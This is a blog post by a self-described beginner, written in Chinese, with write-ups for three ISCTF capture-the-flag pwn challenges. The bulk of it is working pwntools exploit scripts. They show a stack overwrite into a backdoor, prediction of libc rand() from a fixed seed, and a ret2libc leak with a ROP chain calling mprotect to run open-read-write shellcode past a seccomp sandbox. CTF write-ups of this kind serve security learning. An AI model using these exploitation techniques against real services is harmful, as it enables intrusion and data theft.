首页 > 其他分享 >ISCTF比赛PWN题前三题题解

ISCTF比赛PWN题前三题题解

时间:2024-11-15 20:08:13浏览次数:1  
标签:三题 p64 题前 libc 题解 elf pop payload asm

萌新第一次发布题解,如有错误还请各位大佬指出。


本次比赛个人pwn出题情况,还是太菜了,后面四题基本看不懂

girlfriend

解题思路:

利用填充覆盖检查位置,绕过前面admin检查,进入vuln函数,经过动调发现,每次数据存放位置,从而达到提权

解题过程

image
存在后门函数


read可以读取0x30大小,观察buf


发现0x28是s1也就是要填充admin的位置

攻击代码
payload = 0x28 * b'\x00'
payload += b'admin'
p.sendafter(b'team id', payload)

进入vuln函数,发现是一个循环读取
image
image
动调后第一次输入,内容为12345678即0xbc614e,看到存放地址为0x7ffe130d96e0

image
第二次输入,存放地址在加8的位置
image
返回地址是9718,根据循环,发现第8次输入的时候,刚好会覆盖到返回地址上,

疑问脚本执行的时候,循环写入1就不行,但是尝试6就可以打通,还请佬们指点一下

脚本

from pwn import *
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])
# p = remote('27.25.151.12' , 25490)
payload = 0x28 * b'\x00'
payload += b'admin'
p.sendafter(b'team id', payload)

#gdb.attach(p , 'b *0x04012A7\nc')
#pause()

for i in range(6):
	p.recvuntil(b'birthday\n')
 	p.sendline(b'6')

payload = b'4198939'
p.sendlineafter(b'birthday\n' , payload)
# gdb.attach(p)
p.interactive()

ez_game

解题思路:

利用libc生成的固定随机数,进行循环写入,从而getshell

这题卡了好久,试了各种方法,就是没想到会是用libc写,QAQ还是太菜了,一直想着用栈溢出覆盖种子或者泄露生成的随机数,甚至还试过覆盖循环,归零从而进入shell

解题过程

image
简单的代码分析,随机数种子为1,gets(v5),v5大小为400,也就是0x190,并不能造成溢出,或者覆盖吗,循环2w次后跳入shell

脚本

from pwn import *
import sys
from ctypes import *

elf = ELF("./pwn")
libc = cdll.LoadLibrary("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process(./pwn)
# p = remote('27.25.151.12',29676)

# gdb.attach(p)
# pause()
libc.srand(1)
result = [0] * 20001
for i in range(20001):
	result[i] = str(libc.rand() % 7 + 1)

payload = b'1'
p.sendlineafter(b'username: ' , payload)

for i in range(20001):
	p.sendline(result[i])

p.interactive()

ret2orw

解题思路:

泄露libc,开辟一块大小0x1000的地址,栈迁移,利用mproctext改写权限,写入orw的shellcode,读取flag

解题过程

根据题目名字以及init函数中seccop,判断题目开启沙箱
image
假后门,orw基本是禁用system以及execve
image

这里程序libc为2.34,本人使用的20.04,最高支持2.31并且报错,所以只能用22.04,这里报错内容问chat也行搞不定,有佬清楚,希望可以浇浇QAQ
image

dump沙箱
image
执行execve便直接杀死程序

泄露libc

点击查看代码
payload = 0x28 * b'a'
payload += p64(next(elf.search(asm('pop rdi; ret'),executable=True)))
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])  #puts_plt
payload += p64(elf.sym['main'])

p.sendlineafter(b'this?', payload)

libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8 , b'\x00')) - libc.sym['puts']
log.info('libc.address===>' + hex(libc.address))

创建地址,栈迁移,改写地址权限

点击查看代码
payload = b' '
payload += 0x20 * b'a' + 0x8 * b'b'
payload += p64(next(libc.search(asm('pop rdi; ret'),executable=True)))
payload += p64(0)
payload += p64(next(libc.search(asm('pop rsi; ret'),executable=True)))
payload += p64(rw_addr)
payload += p64(libc.sym['read'])

payload += p64(next(libc.search(asm('pop rdi; ret'),executable=True)))
payload += p64(rw_addr)
payload += p64(next(libc.search(asm('pop rsi; ret'),executable=True)))
payload += p64(0x1000)
payload += p64(next(libc.search(asm('pop rdx; pop r12; ret'),executable=True)))
payload += p64(7)
payload += p64(0)
payload += p64(libc.sym['mprotect'])

payload += p64(next(libc.search(asm('pop rax; ret'),executable=True)))
payload += p64(rw_addr)
payload += p64(next(libc.search(asm('call rax;'),executable=True)))
p.sendlineafter(b'this?', payload)

ORW的shellcode

点击查看代码
shellcode = shellcode =  asm("""
    push 0x67616c66
    mov rdi,rsp
    xor esi,esi
    push 2
    pop rax
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x100
    xor eax,eax
    syscall
    mov edi,1
    mov rsi,rsp
    push 1
    pop rax
    syscall
""")

完整exp

点击查看代码
from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
#p = process("./pwn")
p  = remote('27.25.151.12',25063)

payload = 0x28 * b'a'
payload += p64(next(elf.search(asm('pop rdi; ret'),executable=True)))
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])  #puts_plt
payload += p64(elf.sym['main'])

p.sendlineafter(b'this?', payload)

libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8 , b'\x00')) - libc.sym['puts']
log.info('libc.address===>' + hex(libc.address))

rw_addr = libc.address - 0x1000
buff_addr = rw_addr  + 0x100

#gdb.attach(p)
#pause()

payload = b' '
payload += 0x20 * b'a' + 0x8 * b'b'
payload += p64(next(libc.search(asm('pop rdi; ret'),executable=True)))
payload += p64(0)
payload += p64(next(libc.search(asm('pop rsi; ret'),executable=True)))
payload += p64(rw_addr)
payload += p64(libc.sym['read'])

payload += p64(next(libc.search(asm('pop rdi; ret'),executable=True)))
payload += p64(rw_addr)
payload += p64(next(libc.search(asm('pop rsi; ret'),executable=True)))
payload += p64(0x1000)
payload += p64(next(libc.search(asm('pop rdx; pop r12; ret'),executable=True)))
payload += p64(7)
payload += p64(0)
payload += p64(libc.sym['mprotect'])

payload += p64(next(libc.search(asm('pop rax; ret'),executable=True)))
payload += p64(rw_addr)
payload += p64(next(libc.search(asm('call rax;'),executable=True)))
p.sendlineafter(b'this?', payload)

shellcode = shellcode =  asm("""
    push 0x67616c66
    mov rdi,rsp
    xor esi,esi
    push 2
    pop rax
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x100
    xor eax,eax
    syscall
    mov edi,1
    mov rsi,rsp
    push 1
    pop rax
    syscall
""")
p.send(shellcode)

p.interactive()

比赛总结

这次比赛,发现自己还是很菜,所以路还很常,但是已经可以出分了,虽然都是简单题和背板题,但是有点开心,但是后面四题我相信在佬看来也很简单,所以还要更加努力,提升自己,争取下次出更多的分数

标签:三题,p64,题前,libc,题解,elf,pop,payload,asm
From: https://www.cnblogs.com/K4N0/p/18548427

相关文章

  • P9870 [NOIP2023] 双序列拓展 题解
    P9870[NOIP2023]双序列拓展题解NOIP2023T3,特殊性质题。什么是特殊性质题?就是题目给出了你极其神秘的性质,从而引导你想出正解。本篇题解将从部分分的角度,一步步讲述部分分与正解的关系。这样看的话,本题会变得十分简单。\(\text{Task}1∼7,O(Tnm)\)简化题意其实就是要求......
  • Toyota Programming Contest 2024#11(AtCoder Beginner Contest 379)题解总结
    AtCoderBeginnerContest379Rated:\(770\)A-Cyclic简单模拟。B-Strawberries字符串模拟,substr函数秒了C-Repeating中等模拟。思路:判断是否合法很简单,重点在计算花费。假设我们是\(0\)号点有\(N\)个棋子,然后移动到每个点上,显然花费为\(\frac{N(N+1)}{......
  • [CEOI2023] The Ties That Guide Us 题解
    Description你用销售机器人的利润雇佣了一名助手,现在你准备好去拿走装有CEOI奖章的保险箱了。保险箱位于一所由\(n\)个房间所组成的大学建筑内,这些房间由\(n-1\)扇门连接。每个房间都可以从其他任何房间到达,且每个房间最多与\(3\)扇门相连。你和你的助手都有描述建筑物......
  • P1437 敲砖块 题解
    题意在一个凹槽中放置了\(n\)层砖块、最上面的一层有\(n\)块砖,从上到下每层依次减少一块砖。每块砖都有一个分值,敲掉这块砖就能得到相应的分值,如下图所示:14154323333376221311222331如果你想敲掉第\(i\)层的第\(j\)块砖的话,若\(i=1\),你可以直接......
  • [CEOI2023] Tricks of the Trade 题解
    Description有\(n\)个机器人排成一排,第\(i\)个机器人的购买价是\(a_i\)欧元,卖出价是\(b_i\)欧元。给定\(1\lek\len\),你需要购买一段长度至少为\(k\)的区间中所有的机器人,然后选择其中的恰好\(k\)个机器人来卖出。你需要求出:你能够得到的最大收益;在收益最大化......
  • P11276 第一首歌 题解
    P11276第一首歌题解一道简单的字符串题目。题目解释说求一个最短的字符串\(t\),使其满足对于给定的字符串\(s\):\(s\)为\(t\)的前缀。\(s\)为\(t\)的后缀。\(s\)不为\(t\)。仔细思考一下,则易得\(t\)的最短长度的最大值为\(s\)的两倍。即当\(s\)......
  • 读数据质量管理:数据可靠性与数据质量问题解决之道04收集与清洗
    1.      收集数据1.1.        数据收集和清洗是生产管道中的第一步1.1.1.          数据转换和测试则在生产管道中解决数据质量问题1.2.        在收集数据时,管道的任何地方可能都没有入口点重要,因为入口点是任何数据管道中最上游的位......
  • 题解:P11277 世界沉睡童话
    比较简单的构造。注意到题面给出\(a_i\le2n-1\)的条件,考虑这个有什么用,你会发现从\(n\)到\(2n-1\)这\(n\)个数都是两两互不为约数,所以当我们构造出序列后,这些数可以用来填补空位。\(k\)的上界是\(\frac{n(n-1)}{2}\),显然在全部都为同一个数的时候取到,显然有\(x\)个......
  • Atcoder ABC 216 G 01Sequence 题解 [ 蓝 ] [ 差分约束 ]
    01Sequence:比较板的差分约束,但有一个很妙的转化。朴素差分约束设\(x_i\)表示第\(i\)位的前缀和。我们要最小化\(1\)的个数,就要求最小解,就要求最长路。因为约束条件都是大于等于号,所以求最长路才能满足所有条件。求最大解也是同理。我们可以对于每一个条件,列出如下不等式......
  • 2024年09月CCF-GESP编程能力等级认证Python编程二级真题解析
    本文收录于专栏《Python等级认证CCF-GESP真题解析》,专栏总目录:点这里,订阅后可阅读专栏内所有文章。一、单选题(每题2分,共30分)第1题据有关资料,山东大学于1972年研制成功DJL-1计算机,并于1973年投入运行,其综合性能居当时全国第三位。DJL-1计算机运算控制部分所使用的......